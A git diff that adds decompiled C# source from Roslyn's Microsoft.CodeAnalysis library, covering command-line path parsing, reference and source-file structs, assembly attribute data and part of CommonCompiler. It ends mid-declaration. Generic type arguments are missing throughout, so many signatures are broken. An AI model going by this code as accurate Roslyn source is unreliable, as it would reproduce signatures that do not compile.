while (num > 0) + { + stringBuilder.Append('\\'); + num--; + } + } + } + static ReadOnlyMemory? removeFastPath(ReadOnlyMemory arg) + { + int j = 0; + int num = arg.Length; + ReadOnlySpan span2 = arg.Span; + while (num > 0 && span2[num - 1] == '"') + { + num--; + } + for (; j < num && span2[j] == '"'; j++) + { + } + for (int k = j; k < num; k++) + { + if (span2[k] == '"') + { + return null; + } + } + return arg.Slice(j, num - j); + } + } + + internal static IEnumerable ParseSeparatedPaths(string arg) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ParseSeparatedPathsEx(arg.AsMemory(), instance); + return from x in instance.ToArrayAndFree() + select x.ToString(); + } + + internal static void ParseSeparatedPathsEx(ReadOnlyMemory? str, ArrayBuilder> builder) + { + ParseSeparatedStrings(str, s_pathSeparators, removeEmptyEntries: true, builder); + for (int i = 0; i < builder.Count; i++) + { + builder[i] = RemoveQuotesAndSlashesEx(builder[i]); + } + } + + internal static void ParseSeparatedStrings(ReadOnlyMemory? strMemory, char[] separators, bool removeEmptyEntries, ArrayBuilder> builder) + { + if (!strMemory.HasValue) + { + return; + } + int num = 0; + bool flag = false; + ReadOnlyMemory value = strMemory.Value; + ReadOnlySpan span = value.Span; + for (int i = 0; i < span.Length; i++) + { + char c = span[i]; + if (c == '"') + { + flag = !flag; + } + if (!flag && Roslyn.Utilities.EnumerableExtensions.IndexOf(separators, c) >= 0) + { + ReadOnlyMemory item = value.Slice(num, i - num); + if (!removeEmptyEntries || item.Length > 0) + { + builder.Add(item); + } + num = i + 1; + } + } + ReadOnlyMemory item2 = value.Slice(num); + if (!removeEmptyEntries || item2.Length > 0) + { + builder.Add(item2); + } + } + + internal IEnumerable ResolveRelativePaths(IEnumerable paths, string baseDirectory, IList errors) + { + foreach (string path in paths) + { + string text = FileUtilities.ResolveRelativePath(path, baseDirectory); + if (text == null) + { + errors.Add(Diagnostic.Create(_messageProvider, _messageProvider.FTL_InvalidInputFileName, path)); + } + else + { + yield return text; + } + } + } + + private protected CommandLineSourceFile ToCommandLineSourceFile(string resolvedPath, bool isInputRedirected = false) + { + bool isScript = IsScriptCommandLineParser && !PathUtilities.GetExtension(resolvedPath.AsMemory()).Span.Equals(RegularFileExtension.AsSpan(), StringComparison.OrdinalIgnoreCase); + return new CommandLineSourceFile(resolvedPath, isScript, isInputRedirected); + } + + internal void ParseFileArgument(ReadOnlyMemory arg, string? baseDirectory, ArrayBuilder filePathBuilder, IList errors) + { + string text = RemoveQuotesAndSlashes(arg); + if (text.IndexOfAny(s_wildcards) != -1) + { + foreach (string item in ExpandFileNamePattern(text, baseDirectory, SearchOption.TopDirectoryOnly, errors)) + { + filePathBuilder.Add(item); + } + return; + } + string text2 = FileUtilities.ResolveRelativePath(text, baseDirectory); + if (text2 == null) + { + errors.Add(Diagnostic.Create(MessageProvider, MessageProvider.FTL_InvalidInputFileName, text)); + } + else + { + filePathBuilder.Add(text2); + } + } + + private protected void ParseSeparatedFileArgument(ReadOnlyMemory value, string? baseDirectory, ArrayBuilder filePathBuilder, IList errors) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ParseSeparatedPathsEx(value, instance); + ArrayBuilder>.Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + if (!current.IsWhiteSpace()) + { + ParseFileArgument(current, baseDirectory, filePathBuilder, errors); + } + } + instance.Free(); + } + + private protected IEnumerable ParseSeparatedFileArgument(string value, string? baseDirectory, IList errors) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + ParseSeparatedFileArgument(value.AsMemory(), baseDirectory, builder, errors); + ArrayBuilder.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + builder.Free(); + } + + internal IEnumerable ParseRecurseArgument(string arg, string? baseDirectory, IList errors) + { + foreach (string item in ExpandFileNamePattern(arg, baseDirectory, SearchOption.AllDirectories, errors)) + { + yield return ToCommandLineSourceFile(item); + } + } + + internal static Encoding? TryParseEncodingName(string arg) + { + if (!string.IsNullOrWhiteSpace(arg) && long.TryParse(arg, NumberStyles.None, CultureInfo.InvariantCulture, out var result) && result > 0) + { + try + { + return Encoding.GetEncoding((int)result); + } + catch (Exception) + { + return null; + } + } + return null; + } + + internal static SourceHashAlgorithm TryParseHashAlgorithmName(string arg) + { + if (string.Equals("sha1", arg, StringComparison.OrdinalIgnoreCase)) + { + return SourceHashAlgorithm.Sha1; + } + if (string.Equals("sha256", arg, StringComparison.OrdinalIgnoreCase)) + { + return SourceHashAlgorithm.Sha256; + } + return SourceHashAlgorithm.None; + } + + private IEnumerable ExpandFileNamePattern(string path, string? baseDirectory, SearchOption searchOption, IList errors) + { + string directoryName = PathUtilities.GetDirectoryName(path); + string pattern = PathUtilities.GetFileName(path); + string resolvedDirectoryPath = (string.IsNullOrEmpty(directoryName) ? baseDirectory : FileUtilities.ResolveRelativePath(directoryName, baseDirectory)); + IEnumerator enumerator = null; + try + { + bool yielded = false; + pattern = pattern.Trim(s_searchPatternTrimChars); + if (!string.Equals(pattern, ".", StringComparison.Ordinal)) + { + while (true) + { + string text; + try + { + if (enumerator == null) + { + enumerator = EnumerateFiles(resolvedDirectoryPath, pattern, searchOption).GetEnumerator(); + } + if (!enumerator.MoveNext()) + { + break; + } + text = enumerator.Current; + goto IL_00fd; + } + catch + { + text = null; + goto IL_00fd; + } + IL_00fd: + if (text != null) + { + text = FileUtilities.ResolveRelativePath(text, baseDirectory); + } + if (text == null) + { + errors.Add(Diagnostic.Create(MessageProvider, MessageProvider.FTL_InvalidInputFileName, path)); + break; + } + yielded = true; + yield return text; + } + } + if (!yielded) + { + if (searchOption == SearchOption.AllDirectories) + { + GenerateErrorForNoFilesFoundInRecurse(path, errors); + yield break; + } + errors.Add(Diagnostic.Create(MessageProvider, MessageProvider.ERR_FileNotFound, path)); + } + } + finally + { + enumerator?.Dispose(); + } + } + + internal abstract void GenerateErrorForNoFilesFoundInRecurse(string path, IList errors); + + internal ReportDiagnostic GetDiagnosticOptionsFromRulesetFile(string? fullPath, out Dictionary diagnosticOptions, IList diagnostics) + { + return RuleSet.GetDiagnosticOptionsFromRulesetFile(fullPath, out diagnosticOptions, diagnostics, _messageProvider); + } + + internal static bool TryParseUInt64(string? value, out ulong result) + { + result = 0uL; + if (RoslynString.IsNullOrEmpty(value)) + { + return false; + } + int fromBase = 10; + if (value.StartsWith("0x", StringComparison.OrdinalIgnoreCase)) + { + fromBase = 16; + } + else if (value.StartsWith("0", StringComparison.OrdinalIgnoreCase)) + { + fromBase = 8; + } + try + { + result = Convert.ToUInt64(value, fromBase); + } + catch + { + return false; + } + return true; + } + + internal static bool TryParseUInt16(string? value, out ushort result) + { + result = 0; + if (RoslynString.IsNullOrEmpty(value)) + { + return false; + } + int fromBase = 10; + if (value.StartsWith("0x", StringComparison.OrdinalIgnoreCase)) + { + fromBase = 16; + } + else if (value.StartsWith("0", StringComparison.OrdinalIgnoreCase)) + { + fromBase = 8; + } + try + { + result = Convert.ToUInt16(value, fromBase); + } + catch + { + return false; + } + return true; + } + + internal static ImmutableDictionary ParseFeatures(List features) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + CompilerOptionParseUtilities.ParseFeatures(builder, features); + return builder.ToImmutable(); + } + + internal static ImmutableArray> SortPathMap(ImmutableArray> pathMap) + { + return pathMap.Sort((KeyValuePair x, KeyValuePair y) => -x.Key.Length.CompareTo(y.Key.Length)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineReference.cs new file mode 100644 index 0000000..4c245e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineReference.cs @@ -0,0 +1,40 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{Reference,nq}")] +public readonly struct CommandLineReference(string reference, MetadataReferenceProperties properties) : IEquatable +{ + private readonly string _reference = reference; + + private readonly MetadataReferenceProperties _properties = properties; + + public string Reference => _reference; + + public MetadataReferenceProperties Properties => _properties; + + public override bool Equals(object? obj) + { + if (obj is CommandLineReference) + { + return base.Equals((object?)(CommandLineReference)obj); + } + return false; + } + + public bool Equals(CommandLineReference other) + { + if (_reference == other._reference) + { + return _properties.Equals(other._properties); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_reference, _properties.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineSourceFile.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineSourceFile.cs new file mode 100644 index 0000000..82b286e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommandLineSourceFile.cs @@ -0,0 +1,25 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{Path,nq}")] +public readonly struct CommandLineSourceFile +{ + public string Path { get; } + + public bool IsInputRedirected { get; } + + public bool IsScript { get; } + + public CommandLineSourceFile(string path, bool isScript) + : this(path, isScript, isInputRedirected: false) + { + } + + public CommandLineSourceFile(string path, bool isScript, bool isInputRedirected) + { + Path = path; + IsScript = isScript; + IsInputRedirected = isInputRedirected; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommitHashAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommitHashAttribute.cs new file mode 100644 index 0000000..114f489 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommitHashAttribute.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Assembly, AllowMultiple = false)] +internal sealed class CommitHashAttribute : Attribute +{ + internal readonly string Hash; + + public CommitHashAttribute(string hash) + { + Hash = hash; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAssemblyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAssemblyWellKnownAttributeData.cs new file mode 100644 index 0000000..394aa11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAssemblyWellKnownAttributeData.cs @@ -0,0 +1,337 @@ +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace Microsoft.CodeAnalysis; + +internal class CommonAssemblyWellKnownAttributeData : WellKnownAttributeData, ISecurityAttributeTarget +{ + private string _assemblySignatureKeyAttributeSetting; + + private ThreeState _assemblyDelaySignAttributeSetting; + + private string _assemblyKeyFileAttributeSetting = WellKnownAttributeData.StringMissingValue; + + private string _assemblyKeyContainerAttributeSetting = WellKnownAttributeData.StringMissingValue; + + private Version _assemblyVersionAttributeSetting; + + private string _assemblyFileVersionAttributeSetting; + + private string _assemblyTitleAttributeSetting; + + private string _assemblyDescriptionAttributeSetting; + + private string _assemblyCultureAttributeSetting; + + private string _assemblyCompanyAttributeSetting; + + private string _assemblyProductAttributeSetting; + + private string _assemblyInformationalVersionAttributeSetting; + + private string _assemblyCopyrightAttributeSetting; + + private string _assemblyTrademarkAttributeSetting; + + private AssemblyFlags _assemblyFlagsAttributeSetting; + + private AssemblyHashAlgorithm? _assemblyAlgorithmIdAttributeSetting; + + private bool _hasCompilationRelaxationsAttribute; + + private bool _hasReferenceAssemblyAttribute; + + private bool? _runtimeCompatibilityWrapNonExceptionThrows; + + internal const bool WrapNonExceptionThrowsDefault = true; + + private bool _hasDebuggableAttribute; + + private SecurityWellKnownAttributeData _lazySecurityAttributeData; + + private HashSet _forwardedTypes; + + private ObsoleteAttributeData _experimentalAttributeData = ObsoleteAttributeData.Uninitialized; + + public string AssemblySignatureKeyAttributeSetting + { + get + { + return _assemblySignatureKeyAttributeSetting; + } + set + { + _assemblySignatureKeyAttributeSetting = value; + } + } + + public ThreeState AssemblyDelaySignAttributeSetting + { + get + { + return _assemblyDelaySignAttributeSetting; + } + set + { + _assemblyDelaySignAttributeSetting = value; + } + } + + public string AssemblyKeyFileAttributeSetting + { + get + { + return _assemblyKeyFileAttributeSetting; + } + set + { + _assemblyKeyFileAttributeSetting = value; + } + } + + public string AssemblyKeyContainerAttributeSetting + { + get + { + return _assemblyKeyContainerAttributeSetting; + } + set + { + _assemblyKeyContainerAttributeSetting = value; + } + } + + public Version AssemblyVersionAttributeSetting + { + get + { + return _assemblyVersionAttributeSetting; + } + set + { + _assemblyVersionAttributeSetting = value; + } + } + + public string AssemblyFileVersionAttributeSetting + { + get + { + return _assemblyFileVersionAttributeSetting; + } + set + { + _assemblyFileVersionAttributeSetting = value; + } + } + + public string AssemblyTitleAttributeSetting + { + get + { + return _assemblyTitleAttributeSetting; + } + set + { + _assemblyTitleAttributeSetting = value; + } + } + + public string AssemblyDescriptionAttributeSetting + { + get + { + return _assemblyDescriptionAttributeSetting; + } + set + { + _assemblyDescriptionAttributeSetting = value; + } + } + + public string AssemblyCultureAttributeSetting + { + get + { + return _assemblyCultureAttributeSetting; + } + set + { + _assemblyCultureAttributeSetting = value; + } + } + + public string AssemblyCompanyAttributeSetting + { + get + { + return _assemblyCompanyAttributeSetting; + } + set + { + _assemblyCompanyAttributeSetting = value; + } + } + + public string AssemblyProductAttributeSetting + { + get + { + return _assemblyProductAttributeSetting; + } + set + { + _assemblyProductAttributeSetting = value; + } + } + + public string AssemblyInformationalVersionAttributeSetting + { + get + { + return _assemblyInformationalVersionAttributeSetting; + } + set + { + _assemblyInformationalVersionAttributeSetting = value; + } + } + + public string AssemblyCopyrightAttributeSetting + { + get + { + return _assemblyCopyrightAttributeSetting; + } + set + { + _assemblyCopyrightAttributeSetting = value; + } + } + + public string AssemblyTrademarkAttributeSetting + { + get + { + return _assemblyTrademarkAttributeSetting; + } + set + { + _assemblyTrademarkAttributeSetting = value; + } + } + + public AssemblyFlags AssemblyFlagsAttributeSetting + { + get + { + return _assemblyFlagsAttributeSetting; + } + set + { + _assemblyFlagsAttributeSetting = value; + } + } + + public AssemblyHashAlgorithm? AssemblyAlgorithmIdAttributeSetting + { + get + { + return _assemblyAlgorithmIdAttributeSetting; + } + set + { + _assemblyAlgorithmIdAttributeSetting = value; + } + } + + public bool HasCompilationRelaxationsAttribute + { + get + { + return _hasCompilationRelaxationsAttribute; + } + set + { + _hasCompilationRelaxationsAttribute = value; + } + } + + public bool HasReferenceAssemblyAttribute + { + get + { + return _hasReferenceAssemblyAttribute; + } + set + { + _hasReferenceAssemblyAttribute = value; + } + } + + public bool HasRuntimeCompatibilityAttribute => _runtimeCompatibilityWrapNonExceptionThrows.HasValue; + + public bool RuntimeCompatibilityWrapNonExceptionThrows + { + get + { + return _runtimeCompatibilityWrapNonExceptionThrows ?? true; + } + set + { + _runtimeCompatibilityWrapNonExceptionThrows = value; + } + } + + public bool HasDebuggableAttribute + { + get + { + return _hasDebuggableAttribute; + } + set + { + _hasDebuggableAttribute = value; + } + } + + public SecurityWellKnownAttributeData SecurityInformation => _lazySecurityAttributeData; + + public HashSet ForwardedTypes + { + get + { + return _forwardedTypes; + } + set + { + _forwardedTypes = value; + } + } + + public ObsoleteAttributeData ExperimentalAttributeData + { + get + { + if (!_experimentalAttributeData.IsUninitialized) + { + return _experimentalAttributeData; + } + return null; + } + set + { + _experimentalAttributeData = value; + } + } + + SecurityWellKnownAttributeData ISecurityAttributeTarget.GetOrCreateData() + { + if (_lazySecurityAttributeData == null) + { + _lazySecurityAttributeData = new SecurityWellKnownAttributeData(); + } + return _lazySecurityAttributeData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataComparer.cs new file mode 100644 index 0000000..5eb294a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataComparer.cs @@ -0,0 +1,61 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CommonAttributeDataComparer : IEqualityComparer +{ + public static CommonAttributeDataComparer Instance = new CommonAttributeDataComparer(); + + private CommonAttributeDataComparer() + { + } + + public bool Equals(AttributeData attr1, AttributeData attr2) + { + if (attr1.AttributeClass == attr2.AttributeClass && attr1.AttributeConstructor == attr2.AttributeConstructor && attr1.HasErrors == attr2.HasErrors && attr1.IsConditionallyOmitted == attr2.IsConditionallyOmitted && attr1.CommonConstructorArguments.SequenceEqual(attr2.CommonConstructorArguments)) + { + return attr1.NamedArguments.SequenceEqual(attr2.NamedArguments); + } + return false; + } + + public int GetHashCode(AttributeData attr) + { + int num = attr.AttributeClass?.GetHashCode() ?? 0; + num = ((attr.AttributeConstructor != null) ? Hash.Combine(attr.AttributeConstructor.GetHashCode(), num) : num); + num = Hash.Combine(attr.HasErrors, num); + num = Hash.Combine(attr.IsConditionallyOmitted, num); + num = Hash.Combine(GetHashCodeForConstructorArguments(attr.CommonConstructorArguments), num); + return Hash.Combine(GetHashCodeForNamedArguments(attr.NamedArguments), num); + } + + private static int GetHashCodeForConstructorArguments(ImmutableArray constructorArguments) + { + int num = 0; + ImmutableArray.Enumerator enumerator = constructorArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + num = Hash.Combine(enumerator.Current.GetHashCode(), num); + } + return num; + } + + private static int GetHashCodeForNamedArguments(ImmutableArray> namedArguments) + { + int num = 0; + ImmutableArray>.Enumerator enumerator = namedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (current.Key != null) + { + num = Hash.Combine(current.Key.GetHashCode(), num); + } + num = Hash.Combine(current.Value.GetHashCode(), num); + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataExtensions.cs new file mode 100644 index 0000000..38825c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonAttributeDataExtensions.cs @@ -0,0 +1,19 @@ +namespace Microsoft.CodeAnalysis; + +internal static class CommonAttributeDataExtensions +{ + public static bool TryGetGuidAttributeValue(this AttributeData attrData, out string? guidString) + { + if (attrData.CommonConstructorArguments.Length == 1) + { + object valueInternal = attrData.CommonConstructorArguments[0].ValueInternal; + if (valueInternal == null || valueInternal is string) + { + guidString = (string)valueInternal; + return true; + } + } + guidString = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonCompiler.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonCompiler.cs new file mode 100644 index 0000000..c6d8e0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonCompiler.cs @@ -0,0 +1,1457 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonCompiler +{ + private sealed class CompilerEmitStreamProvider : Compilation.EmitStreamProvider + { + private readonly CommonCompiler _compiler; + + private readonly string _filePath; + + private Stream? _streamToDispose; + + internal CompilerEmitStreamProvider(CommonCompiler compiler, string filePath) + { + _compiler = compiler; + _filePath = filePath; + } + + public void Close(DiagnosticBag diagnostics) + { + try + { + _streamToDispose?.Dispose(); + } + catch (Exception ex) + { + CommonMessageProvider messageProvider = _compiler.MessageProvider; + DiagnosticInfo info = new DiagnosticInfo(messageProvider, messageProvider.ERR_OutputWriteFailed, _filePath, ex.Message); + diagnostics.Add(messageProvider.CreateDiagnostic(info)); + } + } + + protected override Stream? CreateStream(DiagnosticBag diagnostics) + { + try + { + try + { + return OpenFileStream(); + } + catch (IOException ex) + { + try + { + if (PathUtilities.IsUnixLikePlatform) + { + File.Delete(_filePath); + } + else if (ex.HResult == -2147024864) + { + string text = Path.Combine(Path.GetDirectoryName(_filePath), Guid.NewGuid().ToString() + "_" + Path.GetFileName(_filePath)); + File.Move(_filePath, text); + File.SetAttributes(text, FileAttributes.Hidden); + File.Delete(text); + } + } + catch + { + ReportOpenFileDiagnostic(diagnostics, ex); + return null; + } + return OpenFileStream(); + } + } + catch (Exception e) + { + ReportOpenFileDiagnostic(diagnostics, e); + return null; + } + } + + private Stream OpenFileStream() + { + return _streamToDispose = _compiler.FileSystem.OpenFile(_filePath, FileMode.Create, FileAccess.ReadWrite, FileShare.None); + } + + private void ReportOpenFileDiagnostic(DiagnosticBag diagnostics, Exception e) + { + CommonMessageProvider messageProvider = _compiler.MessageProvider; + diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_CantOpenFileWrite, Location.None, _filePath, e.Message)); + } + } + + internal sealed class CompilerRelativePathResolver : RelativePathResolver + { + internal ICommonCompilerFileSystem FileSystem { get; } + + internal CompilerRelativePathResolver(ICommonCompilerFileSystem fileSystem, ImmutableArray searchPaths, string? baseDirectory) + : base(searchPaths, baseDirectory) + { + FileSystem = fileSystem; + } + + protected override bool FileExists(string fullPath) + { + return FileSystem.FileExists(fullPath); + } + } + + internal sealed class ExistingReferencesResolver : MetadataReferenceResolver, IEquatable + { + private readonly MetadataReferenceResolver _resolver; + + private readonly ImmutableArray _availableReferences; + + private readonly Lazy> _lazyAvailableReferences; + + public ExistingReferencesResolver(MetadataReferenceResolver resolver, ImmutableArray availableReferences) + { + _resolver = resolver; + _availableReferences = availableReferences; + _lazyAvailableReferences = new Lazy>(() => new HashSet(from reference in _availableReferences + let identity = TryGetIdentity(reference) + where identity != null + select identity)); + } + + public override ImmutableArray ResolveReference(string reference, string? baseFilePath, MetadataReferenceProperties properties) + { + return _resolver.ResolveReference(reference, baseFilePath, properties).WhereAsArray((PortableExecutableReference r) => _lazyAvailableReferences.Value.Contains(TryGetIdentity(r))); + } + + private static AssemblyIdentity? TryGetIdentity(MetadataReference metadataReference) + { + if (!(metadataReference is PortableExecutableReference { Properties: { Kind: MetadataImageKind.Assembly } } portableExecutableReference)) + { + return null; + } + try + { + return ((AssemblyMetadata)portableExecutableReference.GetMetadataNoCopy()).GetAssembly().Identity; + } + catch (Exception ex) when (ex is BadImageFormatException || ex is IOException) + { + return null; + } + } + + public override int GetHashCode() + { + return _resolver.GetHashCode(); + } + + public bool Equals(ExistingReferencesResolver? other) + { + if (other != null && _resolver.Equals(other._resolver)) + { + return _availableReferences.SequenceEqual(other._availableReferences); + } + return false; + } + + public override bool Equals(object? other) + { + if (other is ExistingReferencesResolver other2) + { + return Equals(other2); + } + return false; + } + } + + internal sealed class LoggingMetadataFileReferenceResolver : MetadataReferenceResolver, IEquatable + { + private readonly TouchedFileLogger? _logger; + + private readonly RelativePathResolver _pathResolver; + + private readonly Func _provider; + + public LoggingMetadataFileReferenceResolver(RelativePathResolver pathResolver, Func provider, TouchedFileLogger? logger) + { + _pathResolver = pathResolver; + _provider = provider; + _logger = logger; + } + + public override ImmutableArray ResolveReference(string reference, string? baseFilePath, MetadataReferenceProperties properties) + { + string text = _pathResolver.ResolvePath(reference, baseFilePath); + if (text != null) + { + _logger?.AddRead(text); + return ImmutableArray.Create(_provider(text, properties)); + } + return ImmutableArray.Empty; + } + + public override int GetHashCode() + { + throw new NotImplementedException(); + } + + public bool Equals(LoggingMetadataFileReferenceResolver? other) + { + throw new NotImplementedException(); + } + + public override bool Equals(object? obj) + { + if (obj is LoggingMetadataFileReferenceResolver other) + { + return Equals(other); + } + return false; + } + } + + internal sealed class LoggingSourceFileResolver : SourceFileResolver + { + private readonly TouchedFileLogger? _logger; + + public LoggingSourceFileResolver(ImmutableArray searchPaths, string? baseDirectory, ImmutableArray> pathMap, TouchedFileLogger? logger) + : base(searchPaths, baseDirectory, pathMap) + { + _logger = logger; + } + + protected override bool FileExists(string? fullPath) + { + if (fullPath != null) + { + _logger?.AddRead(fullPath); + } + return base.FileExists(fullPath); + } + + public LoggingSourceFileResolver WithBaseDirectory(string value) + { + if (!(base.BaseDirectory == value)) + { + return new LoggingSourceFileResolver(base.SearchPaths, value, base.PathMap, _logger); + } + return this; + } + + public LoggingSourceFileResolver WithSearchPaths(ImmutableArray value) + { + if (!(base.SearchPaths == value)) + { + return new LoggingSourceFileResolver(value, base.BaseDirectory, base.PathMap, _logger); + } + return this; + } + } + + internal sealed class LoggingStrongNameFileSystem : StrongNameFileSystem + { + private readonly TouchedFileLogger? _loggerOpt; + + public LoggingStrongNameFileSystem(TouchedFileLogger? logger, string? customTempPath) + : base(customTempPath) + { + _loggerOpt = logger; + } + + internal override bool FileExists(string? fullPath) + { + if (fullPath != null) + { + _loggerOpt?.AddRead(fullPath); + } + return base.FileExists(fullPath); + } + + internal override byte[] ReadAllBytes(string fullPath) + { + _loggerOpt?.AddRead(fullPath); + return base.ReadAllBytes(fullPath); + } + } + + internal sealed class LoggingXmlFileResolver : XmlFileResolver + { + private readonly TouchedFileLogger? _logger; + + public LoggingXmlFileResolver(string? baseDirectory, TouchedFileLogger? logger) + : base(baseDirectory) + { + _logger = logger; + } + + protected override bool FileExists(string? fullPath) + { + if (fullPath != null) + { + _logger?.AddRead(fullPath); + } + return base.FileExists(fullPath); + } + } + + private sealed class SuppressionDiagnostic : Diagnostic + { + private static readonly DiagnosticDescriptor s_suppressionDiagnosticDescriptor = new DiagnosticDescriptor("SP0001", CodeAnalysisResources.SuppressionDiagnosticDescriptorTitle, CodeAnalysisResources.SuppressionDiagnosticDescriptorMessage, "ProgrammaticSuppression", DiagnosticSeverity.Info, true, null, null); + + private readonly Diagnostic _originalDiagnostic; + + private readonly string _suppressionId; + + private readonly LocalizableString _suppressionJustification; + + public override DiagnosticDescriptor Descriptor => s_suppressionDiagnosticDescriptor; + + public override string Id => Descriptor.Id; + + public override DiagnosticSeverity Severity => DiagnosticSeverity.Info; + + public override bool IsSuppressed => false; + + public override int WarningLevel => Diagnostic.GetDefaultWarningLevel(DiagnosticSeverity.Info); + + public override Location Location => _originalDiagnostic.Location; + + public override IReadOnlyList AdditionalLocations => _originalDiagnostic.AdditionalLocations; + + public override ImmutableDictionary Properties => ImmutableDictionary.Empty; + + public SuppressionDiagnostic(Diagnostic originalDiagnostic, string suppressionId, LocalizableString suppressionJustification) + { + _originalDiagnostic = originalDiagnostic; + _suppressionId = suppressionId; + _suppressionJustification = suppressionJustification; + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + string format = s_suppressionDiagnosticDescriptor.MessageFormat.ToString(formatProvider); + return string.Format(formatProvider, format, new object[4] + { + _originalDiagnostic.Id, + _originalDiagnostic.GetMessage(formatProvider), + _suppressionId, + _suppressionJustification.ToString(formatProvider) + }); + } + + public override bool Equals(Diagnostic? obj) + { + if (this == obj) + { + return true; + } + if (!(obj is SuppressionDiagnostic suppressionDiagnostic)) + { + return false; + } + if (object.Equals(_originalDiagnostic, suppressionDiagnostic._originalDiagnostic) && object.Equals(_suppressionId, suppressionDiagnostic._suppressionId)) + { + return object.Equals(_suppressionJustification, suppressionDiagnostic._suppressionJustification); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_originalDiagnostic.GetHashCode(), Hash.Combine(_suppressionId.GetHashCode(), _suppressionJustification.GetHashCode())); + } + + internal override Diagnostic WithLocation(Location location) + { + throw new NotSupportedException(); + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + throw new NotSupportedException(); + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + throw new NotSupportedException(); + } + } + + internal const int Failed = 1; + + internal const int Succeeded = 0; + + private readonly Lazy _fallbackEncoding = new Lazy(EncodedStringText.CreateFallbackEncoding); + + private readonly HashSet _reportedDiagnostics = new HashSet(); + + public CommonMessageProvider MessageProvider { get; } + + public CommandLineArguments Arguments { get; } + + public IAnalyzerAssemblyLoader AssemblyLoader { get; private set; } + + public GeneratorDriverCache? GeneratorDriverCache { get; } + + public abstract DiagnosticFormatter DiagnosticFormatter { get; } + + public Roslyn.Utilities.IReadOnlySet EmbeddedSourcePaths { get; } + + internal ICommonCompilerFileSystem FileSystem { get; set; } + + internal abstract Type Type { get; } + + protected virtual CultureInfo Culture => Arguments.PreferredUILang ?? CultureInfo.CurrentUICulture; + + public abstract Compilation? CreateCompilation(TextWriter consoleOutput, TouchedFileLogger? touchedFilesLogger, ErrorLogger? errorLoggerOpt, ImmutableArray analyzerConfigOptions, AnalyzerConfigOptionsResult globalConfigOptions); + + public abstract void PrintLogo(TextWriter consoleOutput); + + public abstract void PrintHelp(TextWriter consoleOutput); + + public abstract void PrintLangVersions(TextWriter consoleOutput); + + public virtual void PrintVersion(TextWriter consoleOutput) + { + consoleOutput.WriteLine(GetCompilerVersion()); + } + + protected abstract bool TryGetCompilerDiagnosticCode(string diagnosticId, out uint code); + + protected abstract void ResolveAnalyzersFromArguments(List diagnostics, CommonMessageProvider messageProvider, CompilationOptions compilationOptions, bool skipAnalyzers, out ImmutableArray analyzers, out 